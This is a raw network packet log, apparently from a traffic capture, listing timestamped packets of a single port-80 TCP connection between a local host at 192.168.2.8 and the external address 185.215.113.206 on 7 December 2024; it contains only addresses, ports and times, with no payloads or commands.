Dec 7, 2024 15:06:46.334044933 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.334203959 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.334254980 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.334876060 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.334928989 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.334961891 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.335007906 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.335732937 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.335784912 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.335827112 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.335871935 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.336617947 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.336669922 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.336802959 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.336858988 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.337470055 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.337527037 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.337605953 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.337657928 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.338407040 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.338454962 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.338463068 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.338500023 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.339273930 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.339319944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.339358091 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.339402914 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.340101957 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.340154886 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.340213060 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.340259075 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.341072083 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.341118097 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.341139078 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.341186047 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.341871977 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.341922998 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.341969967 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.342022896 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.342777967 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.342820883 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.342875957 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.342924118 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.343602896 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.343651056 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.343707085 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.343753099 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.344543934 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.344590902 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.344598055 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.344639063 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.345432043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.345474958 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.345506907 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.345555067 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.346282959 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.346329927 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.346458912 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.346506119 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.347178936 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.347224951 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.347349882 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.347397089 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.347999096 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.348045111 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.348077059 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.348119020 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.495166063 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.495225906 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.495245934 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.495261908 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.495541096 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.495592117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.495666027 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.495709896 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.496431112 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.496479988 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.496714115 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.496759892 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.496927023 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.496977091 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.497643948 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.497689962 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.497757912 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.497802019 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.498486996 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.498532057 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.498537064 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.498575926 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.499365091 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.499413967 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.499577999 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.499617100 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.500209093 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.500253916 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.500346899 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.500390053 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.501089096 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.501135111 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.501228094 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.501331091 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.501964092 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.502010107 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.502077103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.502120972 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.502871990 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.502885103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.502924919 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.503746033 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.503799915 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.503880024 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.503925085 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.504614115 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.504657984 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.504757881 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.504806995 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.505492926 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.505541086 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.505636930 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.505683899 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.506406069 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.506453037 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.506551981 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.506597042 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.507319927 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.507360935 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.507375002 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.507416964 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.508084059 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.508133888 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.508160114 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.508203983 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.508975983 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.509021044 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.509284019 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.509330988 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.509882927 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.509932041 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.509947062 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.509989977 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.510710001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.510757923 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.510834932 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.510879993 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.511593103 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.511647940 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.511703014 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.511749029 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.512504101 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.512552023 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.512556076 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.512592077 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.513391972 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.513442039 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.513561964 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.513601065 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.514255047 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.514303923 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.514338970 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.514379978 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.515079975 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.515126944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.515167952 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.515208006 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.516021967 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.516082048 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.516120911 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.516192913 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.516856909 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.516906023 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.516995907 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.517040014 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.517712116 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.517765999 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.517838001 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.517883062 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.518610954 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.518657923 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.518697977 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.518739939 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.519462109 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.519509077 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.519581079 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.519627094 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.520360947 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.520409107 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.520567894 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.520620108 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.521202087 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.521250010 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.521312952 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.521354914 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.522097111 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.522145033 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.522176981 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.522214890 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.522953033 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.522994995 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.523065090 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.523111105 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.523869038 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.523917913 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.523943901 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.523988962 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.524730921 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.524779081 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.524818897 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.524863958 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.525594950 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.525640011 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.525660038 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.525702953 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.526456118 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.526534081 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.526571989 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.526631117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.527335882 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.527389050 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.527487993 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.527534008 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.528239012 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.528291941 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.528431892 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.528474092 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.529141903 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.529192924 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.529323101 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.529371977 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.530005932 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.530052900 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.530088902 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.530133009 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.530826092 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.530883074 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.530937910 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.530985117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.531761885 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.531816006 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.531898022 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.531945944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.532586098 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.532634974 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.532720089 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.532763958 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.533536911 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.533586025 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.533664942 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.533705950 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.534408092 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.534454107 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.534499884 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.534543991 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.535207033 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.535253048 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.535280943 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.535320997 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.536204100 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.536261082 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.536349058 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.536397934 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.537018061 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.537101984 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.537102938 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:46.537142038 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.583853006 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:46.703772068 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.020783901 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.020837069 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.020860910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.020894051 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.021199942 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.021248102 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.021286011 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.021326065 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.021804094 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.021857977 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.021873951 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.021920919 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.022646904 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.022699118 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.022768021 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.022816896 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.023559093 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.023607016 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.023627043 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.023670912 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.024409056 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.024456024 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.024513006 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.024559975 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.025291920 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.025351048 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.025376081 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.025423050 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.026135921 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.026185036 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.026201963 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.026249886 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.027111053 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.027128935 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.027158022 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.027170897 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.028141022 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.028188944 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.028217077 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.028260946 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.028928041 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.028975964 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.028990984 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.029036045 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.029660940 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.029711962 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.029742956 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.029791117 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.030536890 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.030590057 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.030663967 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.030705929 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.031357050 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.031409025 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.031444073 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.031491041 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.032205105 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.032252073 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.145876884 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.145946980 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.146003962 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.146035910 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.146334887 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.146389961 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.146548986 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.146598101 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.147135019 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.147182941 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.147526979 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.147572994 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.147861004 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.147911072 CET	49738	80	192.168.2.8	185.215.113.206
Dec 7, 2024 15:06:47.147943020 CET	80	49738	185.215.113.206	192.168.2.8
Dec 7, 2024 15:06:47.147989988 CET	49738	80	192.168.2.8	185.215.113.206
